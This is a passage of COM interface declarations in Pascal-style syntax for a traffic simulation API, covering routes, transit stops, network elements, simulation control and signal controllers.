out pScripted: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Scripted(
pScripted: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetState(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetState(
const fldName: OleString;
newVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_State(
out pVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_State(
const pVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartOfCurrentState(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignalState(
iDnsLink: Int16;
out pVal: TsmSignalState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_SignalState(
iDnsLink: Int16;
pVal: TsmSignalState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartOfCurrentSignalState(
iDnsLink: Int16;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TurnSignalState(
iTurn: Int16;
out pVal: TsmSignalState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_TurnSignalState(
iTurn: Int16;
pVal: TsmSignalState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartOfCurrentTurnSignalState(
iTurn: Int16;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TurnMovementCount(
out pVal: Int16
): HRESULT;
end;
[COM, Guid('{4D6F5D2F-4E79-4151-BCB9-8E67A0EB4DA6}')]
ITsmAttributes = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Attribute(
const Name: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Attribute(
const Name: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: VARIANT;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Item(
aIndex: VARIANT;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Name(
iPosition: Integer;
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
iPosition: Integer;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get(
const Name: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_(
const Name: OleString;
newVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method &Remove(
const Name: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveAll: HRESULT;
end;
[COM, Guid('{63F34616-46C8-4BD9-A54B-363ECE4339DC}')]
ITsmPath = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_aIndex(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LinkCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Links(
iStart: Int16;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FirstLink(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
iPosition: Int16;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LastLink(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_NextTurn(
iPosition: Int16;
out pVal: TsmTurn
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FindLink(
iLink: Integer;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetInfo(
iStart: Int16;
const pSettings: ITsmAttributes;
out pVal: STsmPathInfo
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Active(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Active(
pVal: VARIANT_BOOL
): HRESULT;
end;
[COM, Guid('{41931BF9-CF69-40DB-A57B-BA9BA9A0322D}')]
ITsmRoute = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_aIndex(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Name(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LinkCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Links(
iStart: Int16;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FirstLink(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
iPosition: Int16;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LastLink(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FindLink(
iLink: Integer;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleType(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ControlType(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Stops(
out pVal: ITsmStops
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StopCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Stop(
iPosition: Int16;
out pVal: ITsmStop
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetStopFromID(
id: Integer;
out pVal: ITsmStop
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsScheduleBased(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MeanHeadway(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_MeanHeadway(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HeadwayStdDev(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_HeadwayStdDev(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleCount(
out pVal: Integer
): HRESULT;
end;
[COM, Guid('{086DC5FC-3734-438E-9D57-557C4D598324}')]
ITsmStops = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
iPosition: Int16;
out pVal: ITsmStop
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ItemByID(
id: Integer;
out pVal: ITsmStop
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ItemByPhysicalStopID(
id: Integer;
out pVal: ITsmStop
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
iPosition: Int16;
out pVal: ITsmStop
): HRESULT;
end;
[COM, Guid('{342A66DE-B022-47C7-96C5-3B65039C350E}')]
ITsmStop = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PhysicalStopID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Name(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTimePoint(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Distance(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DistanceFromNode(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Side(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ArrivingRate(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_ArrivingRate(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AlightingRate(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_AlightingRate(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PhysicalStopValue(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_PhysicalStopValue(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TimeLastServed(
out pVal: Double
): HRESULT;
end;
[COM, Guid('{758966B7-BDFD-4D3D-AA50-18DF799BB435}')]
ITsmApplication = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Open(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OpenFile(
const FileName: OleString;
bReadOnly: VARIANT;
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Start(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Reset: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Close: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CloseAll: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Pause(
bPause: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Rewind(
const fname: OleString;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Run(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RunSingleStep: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RunTo(
vtTime: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RunStep(
dSecond: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StepMode(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_StepMode(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Network(
out pVal: ITsmNetwork
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TrafficManager(
out pVal: ITsmTrafficManager
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Router(
out pVal: ITsmRouter
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Transit(
out pVal: ITsmTransit
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method EnableLinkCostCallback(
const pHandle: _IVehicleEvents;
bEnable: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Function_(
const funcname: OleString;
args: VARIANT;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Macro(
const macroname: OleString;
const dbname: OleString;
args: VARIANT;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CreateUserVehicleProperty(
const pHandle: _IVehicleEvents;
const Name: OleString;
const type_: OleString;
Width: Int16;
decimals: Int16;
bEditable: VARIANT_BOOL;
const aDescription: OleString;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ReleaseUserVehicleProperties: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetFolder(
const Name: OleString;
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindFolder(
const dir: OleString;
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ProgramFolder(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ProgramDataFolder(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ProjectFolder(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_OutputBaseFolder(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_OutputFolder(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TripTable(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsUnitMetric(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AngleType(
out pVal: TsmAngleType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_AngleType(
pVal: TsmAngleType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_RollingAverage(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_RollingAverage(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ProfileItem(
const Name: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_ProfileItem(
const Name: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetProfileItem(
const Name: OleString;
newVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartTime(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_StartTime(
pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EndTime(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_EndTime(
pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MaximumRuns(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_MaximumRuns(
pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_CurrentTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_State(
out pVal: TsmState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_State(
pVal: TsmState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_RunType(
out pVal: TsmRunType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_RunType(
pVal: TsmRunType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_RunIteration(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Preload(
out pVal: TsmPreload
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PauseTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_PauseTime(
pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StepSize(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_StepSize(
pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AdvanceTime(
idCP: Integer;
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_AdvanceTime(
idCP: Integer;
pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ReloadIncidents(
const fname: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ReloadParameters(
const fname: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method EditParameters(
const fname: OleString;
const pOptions: ITsmAttributes;
out pExitPage: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method StringToTime(
const bstrTime: OleString;
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method TimeToString(
dTime: Double;
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Distance(
var p1: STsmCoord3;
var p2: STsmCoord3;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetStatusBarMessage(
const msg: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ClearStatusBarMessage: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetLastErrorMessage(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetErrorDescription(
hr: HRESULT;
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetExitMessage(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetExitMessage(
const msg: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method LogErrorMessage(
const msg: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Crc32(
const str: OleString;
out pVal: UInt32
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HWND_(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MaxInstanceCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Instance(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_InstanceLabel(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CreateControllerList: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveControllerList: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetCycleLength(
iClass: TsmControlClass;
lTime: Integer;
id: Integer;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetOffset(
iClass: TsmControlClass;
lTime: Integer;
id: Integer;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetupIntersectionReport(
const fname: OleString;
const fld: OleString;
nInterval: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetIntersectionReport(
idNode: Integer;
const tms: OleString;
out pStream: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CreateIntersectionReport(
idNode: Integer;
const tms: OleString;
const fname: OleString;
bOpen: VARIANT_BOOL
): HRESULT;
end;
[COM, Guid('{D57DE796-602F-4EB9-B441-7ECB00FC42A2}')]
ITsmNetwork = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_NodeCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LinkCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SegmentCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignalCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorStationCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_NodeAt(
iNode: Integer;
out pVal: ITsmNode
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LinkAt(
iLink: Integer;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SegmentAt(
iSegment: Integer;
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneAt(
iLane: Integer;
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorAt(
iSensor: Integer;
out pVal: ITsmSensor
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignalAt(
iSignal: Integer;
out pVal: ITsmSignal
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorStationAt(
iStation: Integer;
out pVal: ITsmSensorStation
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Node(
idNode: Integer;
out pVal: ITsmNode
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
idLink: Integer;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
idSegment: Integer;
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lane(
idLane: Integer;
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Sensor(
idSensor: Integer;
out pVal: ITsmSensor
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Signal(
idSignal: Integer;
out pVal: ITsmSignal
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Connector(
idConnector: Integer;
out pVal: ITsmConnector
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorStation(
idStation: Integer;
out pVal: ITsmSensorStation
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Reload(
const type_: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SegmentInfo(
var pCoord: STsmCoord3;
const pOptions: ITsmAttributes;
out pVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Nodes(
out pVal: ITsmNodes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Links(
out pVal: ITsmLinks
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segments(
out pVal: ITsmSegments
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lanes(
out pVal: ITsmLanes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Sensors(
out pVal: ITsmSensors
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Signals(
out pVal: ITsmSignals
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorStations(
out pVal: ITsmSensorStations
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsLeftSideTraffic(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetNotifyingSensorEvents(
newVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetNotifyingSignalEvents(
newVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleCountInNetwork(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleCountQueued(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleCountMissed(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleCountCompleted(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleCountNotDeparted(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Vehicle(
id: Integer;
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Vehicles(
out pVal: ITsmVehicles
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method AddVehicle(
var pOri: STsmLocation;
var pDes: STsmLocation;
const pOptions: ITsmAttributes;
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveVehicle(
idVehicle: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveTrip(
idVehicle: Integer
): HRESULT;
// Added 2019-07-01
[CallingConvention(CallingConvention.Stdcall)]
method TripState(
idVehicle: Integer;
out pVal: TsmTripState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method AddVehicles(
Vehicles: VARIANT;
const pOptions: ITsmAttributes;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveVehicles(
idVehicles: VARIANT;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveTrips(
idVehicles: VARIANT;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SaveCurrentState(
const fname: OleString;
const pOptions: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Center(
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Corner(
iPosition: Int16; // 0-NE, 1-NW, 2-SW, 3-SE
var pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method XyzToCoordinate(
var pt: STsmPoint3;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CoordinateToXyz(
var Coord: STsmCoord3;
out pVal: STsmPoint3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MaxTurnSpeed(
iClass: Int16;
iAngle: Int16;
out pVal: Single
): HRESULT;
end;
[COM, Guid('{ECA7B86F-60D4-4FBC-ACB7-AE87A0FD7887}')]
ITsmNodes = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmNode
): HRESULT;
end;
[COM, Guid('{7CFD586F-6BB3-4E5C-8CD9-4CF6C10E1570}')]
ITsmLinks = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmLink
): HRESULT;
end;
[COM, Guid('{8276A6F2-F679-49B5-8356-E904E89D4073}')]
ITsmTrafficManager = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Controller(
iClass: TsmControlClass;
id: Integer;
out pVal: ITsmController
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Controllers(
out pVal: ITsmControllers
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method UpdateTrafficControl(
const fname: OleString;
dStartTime: Double;
bReplace: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_NextTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ActivatePlan(
iClass: TsmControlClass;
nodeid: Integer;
const planid: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollFreeTypes(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_TollFreeTypes(
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HotEntrance(
id: Integer;
out pVal: ITsmHotEntrance
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindHotEntrance(const Name: OleString;
out pVal: ITsmHotEntrance
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HotEntrances(
out pVal: ITsmHotEntrances
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollPlaza(
id: Integer;
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindTollPlaza(
const Name: OleString;
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollPlazas(
out pVal: ITsmTollPlazas
): HRESULT;
end;
[COM, Guid('{BE421016-C4CA-42CD-AA0D-1499D10BF9C5}')]
ITsmController = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_ids(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Class_(
out pVal: TsmControlClass
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_type_(
out pVal: TsmControllerType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Managed(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Managed(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Parameter(
const Name: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Parameters(
out pVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignalCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Signal(
iSignal: Int16;
out pVal: ITsmSignal
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_CycleLength(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Offset(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Offset(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartTime(
